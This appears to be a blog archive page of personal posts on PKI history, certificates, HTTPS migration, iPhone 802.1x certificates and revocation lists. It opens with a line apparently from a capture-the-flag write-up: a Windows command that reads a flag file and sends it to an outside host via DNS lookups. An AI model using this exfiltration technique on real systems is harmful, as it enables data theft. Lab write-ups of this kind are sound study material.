FOR /F "tokens=1-26" %a in ('type C:\Users\rupal\Desktop\root.txt') DO ( nslookup D%a.D%b.D%c.D%d.D%e.D%f.D%g.D%h.D%i.D%j.D%k.D%l.D%m.D%n.D%o.D%p.D%k.D%r.D%s.D%t.D%u.D%v.D%w.D%x.D%y.D%z. 10.10.14.19)

What an adventure!

Ethereal-owned

Certificates and PKI. The Prequel.

Some public key infrastructures run quietly in the background since years. They are half forgotten until the life of a signed file has come to an end – but then everything is on fire. In contrast to other seemingly important deadlines (Management needs this until XY or the world will come to an end!) this deadline really can’t be extended. The time of death is included in the signed data since a long time.

The entire security ‘ecosystem’ changes while these systems sleep in the background. Now we have Let’s Encrypt (I was late to that party), HTTPS is everywhere, and the green padlock as an indicator of a secure site is about to die.

Recently I stumbled upon a whirlwind tour of the history of PKI and SSL/TLS – covering important events in the evolution of standards and technologies, from shipping SSLv2 in Netscape Navigator 1.1 in 1995 to Chrome marking HTTP pages as ‘not secure’ in 2018. Scrolling down the list of years I could not avoid waxing nostalgic. I had written about PKI before at length before, but this time I do what the Hollywood directors of blockbusters do – I write a prequel.

I remember the first times I created a Certificate Signing Request (CSR) and submitted it to a Certificate Authority (CA). It was well before 2000, and it was an adventure!

I was a scientist turned freelance IT consultant – I went from looking at Transmission Electron Microscope images to troubleshooting why Outlook did not start on small business owners’ computers. And I was daring enough to give trainings, based on the little I knew (with hindsight) about IT and networking. I also developed some classes from scratch – creating wiki-style training material, using Microsoft FrontPage 1998.

One class was  called networking and security of the like, and it was part of a vocational retraining curriculum – to turn former factory workers and admin assistants into computer technicians. For reasons I cannot remember I included a brief explanation of the RSA algorithm in my clunky FrontPage site. It was maybe a pretext to justify an exciting lab exercise: As the PKI history timeline shows, SSL was still rather new. Press releases by Austrian IT companies highlighted the military-grade protection from eavesdropping. It felt like Star Trek. One of the early Austrian National CAs offered ‘light’ test certificates. The description of the enrollment process was targeted to business users, but it was pure geek speak: A mysterious multi-step procedure explained in hacker terms like Secure Vault.

I don’t remember if my students found it that exciting or if the test enrolling a lots of certificates simultaneously did work so well at all. But I was hooked.

As a freelancer I started working with my former colleagues again – supporting the sciencists to subvert re-interpert the central IT department’s policies by setting up their own server, or by circumventing the firewall by dialing in to their own modem. This were the days of IT hype in the late 1990s before the dotcom bust. The research center had a new CEO with an IT background, and to get your projects approved you had to tack the label virtual onto anything. So I helped with creating a Virtual Materials Science Lab – which meant we used Microsoft Netmeeting.

Despite or because of such activities I also started working for the IT department. It was the time when The Cluetrain Manifesto told us that hyperlinks were subversive. As a ‘manager’ I should have disciplined shadow IT admins purchasing their own domains and running their shadow servers, but I could not stop tinkering with the web servers myself. It was also the time when I learned that to make things work in larger organizations – or a combination of several of those – you often need to social engineer someone.

We needed a SSL certificate – and I was the super qualified person for that task, based on my experience playing with the Secure Vault. But creating and submitting the CSR, and installing the certificate was the easy part. There were unexpected challenges:

The research center had a long legal name – 65 characters including the final dot in the indication of the legal entity. Common Names in X.509 certificates are limited to 64 characters, so I could not enter the final dot in IIS’s (Internet Information Server’s) wizard for CSRs. The legal name was cross-checked against the Dun&Bradstreet database. One would think that the first 64 characters of a peculiar German name would have been sufficient, but no. It took several phone calls – and faxes! – to prove to the US-based CA company that we were who we claimed to be.

The fact I called a CA company in the US might highlight a mistake: If I recall correctly Big CA had partners in Europe already at that time, but I missed that, or I wanted to talk to the mothership for some reason.

To purchase the certificate from the US-based company you needed a credit card, to be entered exactly when you submit the CSR. This process was disrupting the usual purchasing procedures and I had to social engineer somebody from the procurement department to join me in my adventure, bringing the corporate credit card.

The research center was a company owned 51% by government – so you had SAP and insane management deadlines as well as conferences and academic publication records. The Internet in general was still dominated by its academic roots. Not long ago, there had been a single web page listing All WWW servers in Austria, and that page was run by the academic internet backbone. Domain registration data were tied to a person, to the wrong person, or to the wrong entity – which came back to bite you later.

Fortunately the domain assigned to the SSL certificate belonged to us – so I did not have to  social engineer a DNS admin this time. But it was assigned to a person and not to the organization. The person was an employee in charge of the network, but how should you prove that? More faxes and phone calls were required to sort out the fine legal points.

I did not keep records of that period, so I don’t know if this web server is alive or if at least the domain still exists. Maybe unlikely, given the rapid decay of rotting links. But while researching history for this post – randomly googling for early versions of Microsoft’s web servers – I discovered interesting things. There is a small change it may be alive!

The first version of the Windows Certificate Authority had been released as an add-on to Windows NT 4, as part of the so-called Windows NT 4 Option Pack – the same add-on that also contained the webserver (IIS) itself. It was the time when I learned ASP programming by going online via dial-up and browsing through MSDN as quick as possible not to overspend my precious monthly online time.

I wanted to relive the setup of Internet Information Server 4.0 as and the Option Pack – and found lots of support articles and how-to’s, like this one.

However, I also found live websites like this:

This is only the setup CD, so no danger yet, but you can as well find sites with the welcome page of the operating web server online – including sample ASP applications – which I don’t show deliberately. (Image credits: Microsoft.)

I wonder why I had been frantically re-developing my websites in ASP.NET from scratch – ‘just because’ ASP was outdated technology, even though there were no known vulnerabilities and the sites were running on a modern operating system.

Time to quote from Peter Gutmann’s book Engineering Security:

A great many of today’s security technologies are “secure” only because no-one has ever bothered attacking them.

… which is also true for yesterday’s technology still online!

Bots, Like This! I am an Ardent Fan of HTTPS and Certificates!

This is an experiment in Machine Learning, Big Data, Artificial Intelligence, whatever.

But I need proper digression first.

Last autumn, I turned my back on social media and went offline for a few days.

There, in that magical place, the real world was offline as well. A history of physics museum had to be opened, just for us.

The sign says: Please call XY and we open immediately.

Scientific instruments of the past have a strange appeal, steampunk-y, artisanal, timeless. But I could not have enjoyed it, hadn’t I locked down the gates of my social media fortresses before.

Last year’ improved’ bots and spammers seem to have invaded WordPress. Did their vigilant spam filters feel a disturbance of the force? My blog had been open for anonymous comments since more than 5 years, but I finally had to restrict access. Since last year every commentator needs to have one manually approved comment.

But how to get attention if I block the comments? Spam your links by Liking other blogs. Anticipate that clickers will be very dedicated: Clicking on your icon only takes the viewer to your gravatar profile. The gravatar shows a link to the actual spammy website.

And how to pick suitable – likeable – target blog posts? Use your sophisticated artificial intelligence: If you want to sell SSL certificates (!) pick articles that contain key words like SSL or domain – like this one. BTW, I take the ads for acne treatment personally. Please stick to marketing SSL certificates. Especially in the era of free certificates provided by Let’s Encrypt.

Please use a different image for your different gravatars. You have done rather well when spam-liking the post on my domains and HTTPS, but what was on your mind when you found my post on hijacking orphaned domains for malvertizing?

Did statements like this attract the army of bots?

… some of the pages contain links to other websites that advertize products in a spammy way.

So what do I need to do to make you all like this post? Should I tell you that have a bunch of internet domains? That I migrated my non-blogs to HTTPS last year? That WordPress migrated blogs to HTTPS some time ago? That they use Let’s Encrypt certificates now, just as the hosting provider of my other websites does?

[Perhaps I should quote ‘SSL’ and ‘TLS’, too.]

Or should I tell you that I once made a fool of myself for publishing my conspiracy theories – about how Google ditched my blog from their index? While I actually had missed that you need to add the HTTPS version as a separate item in Google Webmaster Tools?

So I desperately need help with Search Engine Optimization and Online Marketing. Google shows me ads for their free online marketing courses on Facebook all the time now.

Or I need help with HTTPS (TLS/SSL) – embarrassing, as for many years I did nothing else than implementing Public Key Infrastructures and troubleshooting certificates? I am still debugging of all kinds weird certificate chaining and browser issues. The internet is always a little bit broken, says Sir Tim Berners-Lee.

[Is X.509 certificate a good search term? No, too nerdy, I guess.]

Or maybe you are more interested in my pioneering Search Term Poetry and Spam Poetry.  I need new raw material.

Like this! Like this! Like this!

Maybe I am going to even approve a comment and talk to you. It would not be the first time I fail the Turing test on this blog.

Don’t let me down, bots! I count on you!

Update 2018-02-13: So far, this post was a success. The elkemental blog has not seen this many likes in years.… and right now I noticed that the omnipresent suit bot also started to market solar energy and to like my related posts!

Update 2018-02-18: They have not given up yet – we welcome another batch of bots!

bots-welcome-experiment-success-2

Update 2018-04-01: They become more subtle – now they spam-like comments – albeit (sadly) not the comments on this article. Too bad I don’t display the comment likes – only I see them in the admin console ;-)

bots-welcome-experiment-success-3

Other People Have Lives – I Have Domains

These are just some boring update notifications from the elkemental Webiverse.

The elkement blog has recently celebrated its fifth anniversary, and the punktwissen blog will turn five in December. Time to celebrate this – with new domain names that says exactly what these sites are – the ‘elkement.blog‘ and the ‘punktwissen.blog‘.

Actually, I wanted to get rid of the ads on both blogs, and with the upgrade came a free domain. WordPress has a detailed cookie policy – and I am showing it dutifully using the respective widget, but they have to defer to their partners when it comes to third-party cookies. I only want to worry about research cookies set by Twitter and Facebook, but not by ad providers, and I am also considering to remove social media sharing buttons and the embedded tweets. (Yes, I am thinking about this!)

On the websites under my control I went full dinosaur, and the server sends only non-interactive HTML pages sent to the client, not requiring any client-side activity. I now got rid of the last half-hearted usage of a session object and the respective cookie, and I have never used any social media buttons or other tracking.

So there are no login data or cookies to protect, but yet I finally migrated all sites to HTTPS.

It is a matter of principle: I of all website owners should use https. Since 15 years I have been planning and building Public Key Infrastructures and troubleshooting X.509 certificates.

But of course I fear Google’s verdict: They have announced long ago to HTTPS is considered a positive ranking by its search engine. Pages not using HTTPS will be tagged as insecure using more and more terrifying icons – e.g. http-only pages with login buttons already display a striked-through padlock in Firefox. In the past years I migrated a lot of PKIs from SHA1 to SHA256 to fight the first wave of Insecure icons.

Finally Let’s Encrypt has started a revolution: Free SSL certificates, based on domain validation only. My hosting provider uses a solution based on Let’s Encrypt – using a reverse proxy that does the actual HTTPS. I only had to re-target all my DNS records to the reverse proxy – it would have been very easy would it not have been for all my already existing URL rewriting and tweaking and redirecting. I also wanted to keep the option of still using HTTP in the future for tests and special scenario (like hosting a revocation list), so I decided on redirecting myself in the application(s) instead of using the offered automated redirect. But a code review and clean-up now and then can never hurt :-) For large complex sites the migration to HTTPS is anything but easy.

In case I ever forget which domains and host names I use, I just need to check out this list of Subject Alternative Names again:

(And I have another certificate for the ‘test’ host names that I need for testing the sites themselves and also for testing various redirects ;-))

WordPress.com also uses Let’s Encrypt (Automattic is a sponsor), and the SAN elkement.blog is lumped together with several other blog names, allegedly the ones which needed new certificates at about the same time.

It will be interesting what the consequences for phishing websites will be. Malicious websites will look trusted as being issued certificates automatically, but revoking a certificate might provide another method for invalidating a malicious website.

Anyway, special thanks to the WordPress.com Happiness Engineers and support staff at my hosting provider Puaschitz IT. Despite all the nerdiness displayed on this blog I prefer hosted / ‘shared’ solutions when it comes to my own websites because I totally like it when somebody else has to patch the server and deal with attacks. I am an annoying client – with all kinds of special needs and questions – thanks for the great support! :-)

What Learning about Feynman’s Path Integrals Was Good for

I have gone to great lengths on this blog in order to explain how and why a degree in physics prepares you for seemingly different careers, or at least does not hurt.

But it would have been so simple. I will now illustrate this – using just two incomprehensible images.

Actually, I have a hidden agenda: The top page on this blog is my review of the book Student Friendly Quantum Field Theory. Of course I am trying now to coast on its success.

But I swear that each of these images made us – the Chief Engineer and me – spontaneously and independently burst out:

This is more complicated than Feynman’s path integrals!!

So if QFT does not prepare you for plumbing and IT security – I don’t know what does.

1) Feynman diagrams spotted in pipework – especially in the way the Chief Engineer depicts it! We assume that this sort of documentation is commented by your typical HVAC contractor with What does he have smoked??

Piping diagram

The Chief Engineer’s Piping Diagrams. Captions in German but not important anyway. One of his ingenious inventions is built from many of these units.

2) Feynman diagrams in certificate paths – in the way authors of Request for Comments envisage the proper usage of related internet protocols. This is the kind of paper any developer sometimes SHOULD read to cross-check implementation versus best practices but I MIGHT give because the RFC is rather PhD-thesis-like.

Certificate path validation, RFC 4158

Certificate path validation, RFC 4158. Details again not important. It is about trust, cast into cryptographic relationships. Again these structures are fractal and you would see more and more trees and branches the deeper you dig.

OK – and now a true Feynman diagram. As with the other ‘examples’ a full-blown diagram would be built from lots of these units:

Susy Zerfall chi0

Feynman diagram of a SUSY process. Details – again – not important, and I would not be able to answer questions anyway (Wikimedia, user Patrick87).

As a disclaimer in case any practicing theoretical physicist feels offended: Of course I don’t intend to say that either of these things is as complicated or requires as much training as Quantum Field Theory.

But probably there is a more serious message to be uncovered here:

Feynman diagrams are often described as depicting the reactions between elementary particles. Yet they are shortcut for very unwieldy integrals in an abstract space.

Drawings of pipework and also the certificate paths seem more tangible. But the latter is replacing cryptographic relationship by little sticks and the former is after all an abstract map of physical items using 2D symbols.

In The Shallows – What the Internet Is Doing to Our Brains Nicholas Carr reminds us of the significance of our abilities to create maps at increasing levels of abstraction:

Mankind’s first maps, scratched in the dirt with a stick or carved into a stone with another stone, were as rudimentary as the scribbles of toddlers. … As more time passed, the realism became scientific in both its precision and its abstraction. The mapmaker began to use sophisticated tools like the direction-finding compass and the angle-measuring theodolite and to rely on mathematical reckonings and formulas. Eventually, in a further intellectual leap, maps came to be used not only to represent vast regions of the earth or heavens in minute detail, but to express ideas—a plan of battle, an analysis of the spread of an epidemic, a forecast of population growth.

Building and interpreting – abstract – maps of all kinds has become a key ‘skill’ – from software enterprise architecture diagrams to all sorts of infographics shared on social media like How Douglas Adams predicted the iPad.

Diffusion of iTechnology in Corporations (or: Certificates for iPhones)

[Jump to technical stuff]

Some clichés are true. One I found confirmed often is about how technologies are adopted within organizations: One manager meets another manager at a conference / business meeting / CIO event. Manager X show off the latest gadget and/or brags about presents a case-study of successful implementation of Y.

Another manager becomes jealous inspired, and after returning home he immediately calls upon his poor subordinates and have them implement Y – absolutely, positively, ASAP.

I suspect that this is the preferred diffusion mechanism for implementing SAP at any kind of organization or for the outsourcing hype (probably also the insourcing-again movement that followed it).

And I definitely know this works that way for iSomething such as iPhones and iPads. Even if iSomething might be not the officially supported standard. But no matter how standardized IT and processes are – there is always something like VIP support. I do remember vividly how I was one told that we (the IT guys) should not be so overly obliging when helping users –  unless I (the top manager) need something.

So trying to help those managers is the root cause for having to solve a nice puzzle: iThings need to have access to the network and thus often need digital certificates. Don’t tell me that certificates might not be the perfect solution – I know that. But working in some sort of corporate setting you are often not in the position to bring up these deep philosophical questions again and again, so let’s focus on solving the puzzle:

[Technical stuff – I am trying a new format to serve different audiences here]

Certificates for Apple iPhone 802.1x / EAP-TLS WLAN Logon

The following is an environment you would encounter rather frequently: Computer and user accounts are managed in Microsoft Active Directory – providing both Kerberos authentication infrastructure and LDAP directory. Access to Wireless LAN is handled by RADIUS authentication using Windows Network Protection Server, and client certificates are mandatory as per RADIUS policies.

You could require 802.1x to be done by either user accounts and/or machine accounts (though it is a common misunderstanding that in this way you can enforce a logon by 1) the computer account and then 2) the user account at the same machine.) I am now assuming that computers (only) are authenticated. This the iDevice needs to present itself as a computer to the logon servers.

Certificates contain lots of fields, and standards either don’t enforce clearly what should go into those fields and/or applications interpret standards in weird ways. Thus the pragmatic approach is to tinker and test!

This is the certificate design that works for iPhones according to my experience:

  • We need a ‘shadow account’ in Active Directory whose properties will match fields in the certificates. Two LDAP attributes needto be set
    1. dnsHostName: machine.domain.com
      This is going to be mapped onto the DNS name in the Subject Alternative Name of the certificate.
    2. servicePrincipalNames: HOST/machine.domain.com
      This makes the shadow account a happy member of the Kerberos realm.

    According to my tests, the creation of an additional name mapping – as recommended here – is not required. We are using Active Directory default mapping here – DNS machine names work just as user’s UPNs (User Principal Name – the logon name in user@dmain syntax. See e.g. Figure 21 – Certificate Processing Logic – in this white paper for details.)

  • Extensions and fields in the certificate
    1. Subject Alternative Name: machine.domain.com (mapped to the DNS name dnsHostName in AD)
    2. Subject CN: host/machine.domain.com. This is different from Windows computers – as far as I understood what’s going on from RADIUS logging the Apple 802.1x client sends the string just as it appears in the CN. Windows clients would add the prefix host/ automatically.
    3. If this is a Windows Enterprise PKI: Copy the default template Workstation Authentication, and configure the Subject Name as to be submitted with the Request. The CA needs to accept custom SANs via enabling the  EDITF_ATTRIBUTESUBJECTALTNAME2 flag. Keys need to be configured as exportable to carry them over to the iDevice.
  • Create the key, request and certificate on a dedicated enrollment machine. Note that this should be done in the context of the user rather than the local machine. Certificates/key could be transported to another machines as PKCS#12 (PFX files).
  • Import the key and certificate to the iPhone using the iPhone Configuration Manager – this tools allows for exporting directly from the current user’s store. So if the user does not enroll for those certificates himself (which makes sense as the enrollment procedure is somewhat special, given the custom names), the PFX files would be first imported to the user’s store and then exported from there to the iPhone.

The point I like to stress in relation to certificates is that logon against AD is based on matching strings – containing the DNS names – not on a binary comparison of a file presented by the client versus a certificate file in the directory.

I have encountered that misconception often as there is an attribute in AD – userCertificate – that is actually designed for holding users’ (or machines’) certificates. But this is more of a Alice-tries-to-get-Bob’s-public-key-phonebook-style attribute, and it is not intended to be used for authentication but rather for encryption – Outlook is searching for S/MIME e-mail recipients’ public keys there. Disclaimer: I cannot vouch for any custom application that may exist.

Authentication is secure nonetheless as the issuing CA’s certificate needs to be present in a special LDAP object, the so-called NTAuth object in Active Directory’s Configuration Container, and per default it can only be edited by Enterprise Admins – the ‘root admins’ of AD. In addition you have to configure the CA for accepting arbitrary SANs in requests.

IPhone Fashion Valley

Happy iPhone users with their iPhones, when the product was released in 2007. I have never owned any iThing so I need to borrow an image from Wikimedia (user 1DmkIIN).

The Strange World of Public Key Infrastructure and Certificates

An e-mail discussion related to my recent post on IT security has motivated me to ponder about issues with Public Key Infrastructure once more. So I attempt – most likely in vain – to merge a pop-sci introduction to certificates with sort of an attachment to said e-mail discussion.

So this post might be opaque to normal users and too epic and introductory for security geeks.

I mentioned the failed governmental PKI pilot project in that post – a hardware security device destroying the key and there was no backup. I would have made fun of this – hadn’t I experienced it often that it is the so-called simple processes and logistics that can go wrong.

I didn’t expect to find such a poetic metaphor for “security systems” rendered inaccessible. Padlocks in Graz, Austria. Legend has it that lovers attaching a padlock to the bridge and throwing the key into the water will be together forever.

When compiling the following I had in mind what I call infrastructure PKIs – company-internal systems to be used mainly for internal purposes and very often for use by devices rather than by humans. (Ah, the internet of things.)

Issues often arise due to a combination of the following:

  • Human project resources assigned to such projects are often limited.
  • Many applications simply demand certificates so you need to create them.

Since the best way to understand certificates is probably by comparing them to passports or driver licenses I will nonetheless use one issued to me as a human life-form:

Digital Certificate

In Austria the chipcards used to authorize you to medical doctors as a patient can also be used as digital ID cards. That is, the card’s chip also holds the cryptographic private key, and the related certificate ties your identity as a citizen to the corresponding public key. A certificate is a file digitally signed by a Certificate Authority which in this case has the name a-sign-Token-03. The certificate can be searched for in the directory (German site).

Digital X.509 Certificate: Details

The Public key related to my identity as a citizen (or better a database record representing myself as a citizen). As a passport, the certificate has an end of life and requires renewal.

Alternatives to Hardware Security Modules

An HSM is protecting that sacred private key of the certification authority. It is often a computer, running a locked-down version of an operating system, and it is equipped with sensors that detect and attempt to access the key store physically – it should actually destroy the key rather than having an attacker gain access to it.

It allows for implementing science-fiction-style (… Kirk Alpha 2Spock Omega 3 …) split administration and provides strong key protection that cannot be provided if the private key is stored in software – somewhere on the hard disk of the machine running the CA.

Modern HSMs have become less cryptic in terms of usage but still: It is a hardware device not used on a daily basis, and requires additional training and management. Storage of physical items like the keys for unlocking the device and the corresponding password(s) is a challenge as is keeping the know-how of admins up to date.

Especially for infrastructure CAs I propose a purely organizational split administration for offline CAs such as a Root CA: Storing the key in software, but treating the whole CA machine as a device to be protected physically. You could store the private key of the Root CA or the virtual machine running the Root CA server on removable media (and at least one backup). The “protocol” provides spilt administration: E.g. one party has the key to the room, the other party has the password to decrypt the removable medium. Or the unencrypted medium is stored in a location protected by a third party – which in turn does only allow two persons to enter the room together.

But before any split administration is applied an evaluation of risks it should be made sure that the overall security strategy does not look like this:

Steps to nowhere^ - geograph.org.uk - 666960

From the description on Wikimedia: The gate is padlocked, though the fence would not prevent any moderately determined person from gaining access.

You might have to question the holy order (hierarchy) and the security implemented at the lowest levels of CA hierarchies.

Hierarchies and Security

In the simplest case a certification authority issues certificates to end-entities – users or computers. More complex PKIs consist of hierarchies of CAs and thus tree-like structures. The theoretical real-world metaphor would be an agency issuing some license to a subordinate agency that issues passports to citizens.

Chain of certificates associated with this blog

Chain of certificates associated with this blog: *.wordpress.com is certified by Go Daddy Secure Certification Authority which is in turn certified by Go Daddy Class 2 Certification Authority. The asterisk in the names makes it usable with any wordpress.com site – but it defies the purpose of denoting one specific entity.

The Root CA at the top of the hierarchy should be the most secure as if it is compromised (that is: it’s private key has – probably – been stolen) all certificates issued somewhere in the tree should be invalidated.

However, this logic only makes sense:

  • if there is or will with high probability be at least a second Issuing CA – otherwise the security of the Issuing CA is as important as that of the Root CA.
  • if the only purpose of that Root CA is to revoke the certificate of the Issuing CA. The Root CA’s key is going to sign a blacklist referring to the Issuing CA. Since the Root should not revoke itself its key signing the revocation list should be harder to compromise than the key of the to-be-revoked Issuing CA.
Certificate Chain

The certificate chain associated with my “National ID” certificate. Actually, these certificates stored on chipcards are invalidated every time the card (which serves another purpose primarily) is retired as a physical item. Invalidation of tons of certificates can create other issues I will discuss below.

Discussions of the design of such hierarchies focus a lot on the security of the private keys and cryptographic algorithms involved

But yet the effective security of an infrastructure PKI in terms of Who will be able to enroll for certificate type X (that in turn might entitle you to do Y) is often mainly determined by typical access control lists in databases or directories system that are integrated with an infrastructure PKI. Think would-be subscribers logging on to a web portal or to a Windows domain in order to enroll for a certificates. Consider e.g. Windows Autoenrollment (licensed also by non-Windows CAs) or the Simple Certificate Enrollment Protocol used with devices.

You might argue that it should be a no-no to make allegedly weak  software-credential-based authentication the only prerequisite for the issuance of certificates that are then considered strong authentication. However, this is one of the things that distinguish primarily infrastructure-focused CAs from, say, governmental CAs, or “High Assurance” smartcard CAs that require a face-to- face enrollment process.

In my opinion certificates are often deployed because their is no other option to provide platform-independent authentication – as cumbersome as it may be to import key and certificate to something like a printer box. Authentication based on something else might be as secure, considering all risks, but not as platform-agnostic. (For geeks: One of my favorites is 802.1x computer authentication via PEAP-TLS versus EAP-TLS.)

It is finally the management of group memberships or access control lists or the like that will determine the security of the PKI.

Hierarchies and Cross-Certification

It is often discussed if it does make sense to deploy more intermediate levels in the hierarchy – each level associated with additional management efforts. In theory you could delegate the management of a whole branch of the CA tree to different organizations, e.g. corresponding to continents in global organizations. Actually, I found that the delegation argument is often used for political reasons – which results in CA-per-local-fiefdom instead of the (in terms of performance much more reasonable) CA-per-continent.

I believe the most important reason to introduce the middle level is for (future) cross-certification: If an external CA cross-certifies yours it issues a certificate to your CA:

Cross Certification

Cross Certification between two CA hierarchies, each comprising three levels. Within a hierarchy each CA issues a certificate for its subordinate CA (orange lines). In addition the middle-tier CAs in each hierarchy issue certificates to the Root CAs of the other hierarchy – effectively creating logical chains consisting of 4 CAs. Image credits mine.

Any CA on any level could on principle be cross-certified. It would be easier to cross-certificate the Root CA but then the full tree of CAs subordinate to it will also be certified (For the experts: I am not considering name or other constraints here). If a CA an intermediate level is issued the cross-certificate trust is limited to this branch.

Cross-Certification constitutes a bifurcation in the CA tree and its consequences can be as weird and sci-fi as this sounds. It means that two different paths exists that connect an end-entity certificate to a different Root CA. Which path is actually chosen depends on the application validating the certificate and the protocol involved in exchanging or collecting certificates.

In an SSL handshake (which happens if you access your blog via https: // yourblog.wordpress.com, using the certificate with that asterisk) happens if you access the web server is so kind to send the full certificate chain – usually excl. the Root CA – to the client. So the path finally picked by the client depends on the chain the server knows or that takes precedence at the server.

Cross-certification is usually done by CAs considered external, and it is expected that an application in the external world sees the path chaining to the External CAs.

Tongue-in-cheek I had once depicted the world of real PKI hierarchies and their relations as:

CA hierarchies in the real world.

CA hierarchies in the real world. Sort of. Image credits mine.

Weird things can happen if a web server is available on an internal network and accessible by the external world (…via a reverse proxy. I am assuming there is no deliberate termination of the SSL connection at the proxy – what I call a corporate-approved man-in-the-middle attack). This server knows the internal certificate chain and sends it to the external client – which does not trust the corresponding internal-only Root CA. But the chain sent in the handshake may take precedence over any other chain found elsewhere so the client throws an error.

How to Really Use “Cross-certification”

As confusing cross-certification is – it can be  used in a peculiar way to solve other PKI problems – those with applications that cannot deal with the validation of a hierarchy at all or who can deal with only a one-level hierarchy. This is interesting in particular in relation to devices such as embedded industry systems or iPhones.

Assuming that only the needed certificates can be safely injected to the right devices and that you really know what you are doing the fully pesky PKI hierarchy can be circumvented by providing an alternative Root CA certificate to the CA at the bottom of the hierarchy:

The real, full blown hierarchy is

  1. Root CA issued a root certificate for Root CA (itself). It contains the key 1234.
  2. Root CA issues a certificate to Some Other CA related to key 5678.

… then the shortcut hierarchy for “dumb devices” looks like:

  1. Some Other CA issues a root certificate to itself, thus to Subject named Some Other CA. The public key listed in this certificate is 5678 the same as in certificate (2) of the extended hierarchy.

Client certificates can then use either chain – the long chain including several levels or the short one consisting of a single CA only. Thus if certificates have been issued by the full-blown hierarchy they can be “dumbed-down to devices” by creating the “one-level hierarchy” in addition.

Names and Encoding

In the chain of certificates the Issuer field in the certificate of the Subordinate CA needs to be the same as the Subject field of the Root CA – just as the Subject field in my National ID certificate contains my name and the Issuer field that of the signing CA. And it depends on the application how names with be checked. In a global world, names are not simple ASCII strings anymore, but encoding matters.

Certificates are based on an original request sent by the subordinate CA, and this request most often contains the name – the encoded name. I have sometimes seen that CAs changed the encoding of the names when issuing the certificates, or they reshuffled the components of the name – the order of tags like organization and country. An application may except that or not, and the reasons for rejections can be challenging to troubleshoot if the application is running in a blackbox-style device.

Revocation List Headaches

Certificates (X.509) can be invalidated by adding their respective serial number to a blacklist. This list is – or actually: may – be checked by relying parties. So full-blown certificate validation comprises collecting all certificates in the chain up to a self-signed Root CA (Subject=Issuer) and then checking each blacklist signed by each CA in the chain for the serial number of the entity one level below:

Certificate Validation

Validation of a certificate chain (“path). You start from the bottom and locate both CA certificates and the revocation lists via URLs in each subordinate certificate. Image credits mine.

The downside: If the CRL isn’t available at all applications following the recommended practices will for example deny network access to thousands of clients. With infrastructure PKIs that means that e.g. access to WLAN or remote access via VPN will fail.

This makes desperate PKI architects (or rather the architects accountable for the application requiring certificate based logon) build all kinds of workarounds, such as switching off CRL checking in case of an emergency or configuring grace periods. Note that this is all heavily application dependent and has to be figured out and documented individually for emergencies for all VPN servers, exotic web servers, Windows domain controllers etc.

A workaround is imperative if a very important application is dependent on a CRL issued by an “external” certificates’ provider. If I would use my Austrian’s digital ID card’s certificate for logging on to server X, that server would need tp have a valid version of this CRL which only lives for 6 hours.

Certificate Revocation List

A Certificate Revocation List (CRL) looks similar to a certificate. It is a file signed the Certification Authority that also signed the certificates that might be invalidated via that CRL. From downloading this CRL frequently I conclude that it a current version is published every hour – so there are 5 hours of overlap.

The predicament is that CRLs may be cached for performance reasons. Thus if you publish short-lived CRLs frequently you might face “false negative” outages due to operational issues (web server down…) but if the CRL is too long-lived it does not serve its purpose.

Ideally, CRLs would be valid for a few days, but a current CRL would be published, say every day, AND you could delete the CRL at the validating application every day. That’s exactly how I typically try to configure it. VPN servers, for example, have allowed to delete the CRL cache for a long time and Windows has a supported way to do that since Vista. This allows for reasonable continuity but revocation information would still be current.

If you cannot control the CRL issuance process one workaround is: Pro-active fetching of the CRL in case it is published with an overlap – that is: the next CRL is published while the current one is still valid – and mirroring the repository in question.

As an aside: It is more difficult as it sounds to give internal machines access to a “public” external URL. Machines not necessarily use the proxy server configured for user (which cause false positive results – Look, I tested it by accessing it in the browser and it works), and/or machines in the servers’ network are not necessarily allowed to access “the internet”.

CRLs might also simply be too big – for some devices with limited processing capabilities. Some devices of a major vendor used to refuse to process CRLs larger than 256kB. The CRL associated with my sample certificate is about 700kB:

LDAP CDP URL

How the revocation is located – via a URL embedded in the certificate. For the experts: OCSP is supported, too, and it is the recommended method. However considering older devices it might be necessary to resort to CRLs.

CRL Details - Blacklist

The actual blacklist part of the CRL. The scrollbar is misleading – the list contains about 20.000 entries (best viewed with openssl or Windows certutil).

Emergency Revocation List

In case anything goes wrong – HSM inaccessible, passwords lost, datacenter 1 flooded abd backup datacenter 2 destroyed by a meteorite – there is one remaining option to keep PKI-dependent applications happy:

Prepare a revocation list in advance whose end of life (NextUpdate date) is after the end of validity of the CA certificate. In contrast to any backup of key material this CRL can be “backed up” by pasting the BASE64 string to the documentation as it does not contain sensitive information.

In an emergency this CRL will be published to the locations embedded in certificates. You will never be able to revoke anything anymore as CRLs might be cached – but business continuity is secured.

Emergency CRL

An Emergency CRL for my home-grown CA. It seems 9999 days is the maximum I can use with Windows certutil. Actually, the question of How many years should the lifetime be so that I will not be bothered anymore until retirement? comes up often in relation to all kinds of validity dates.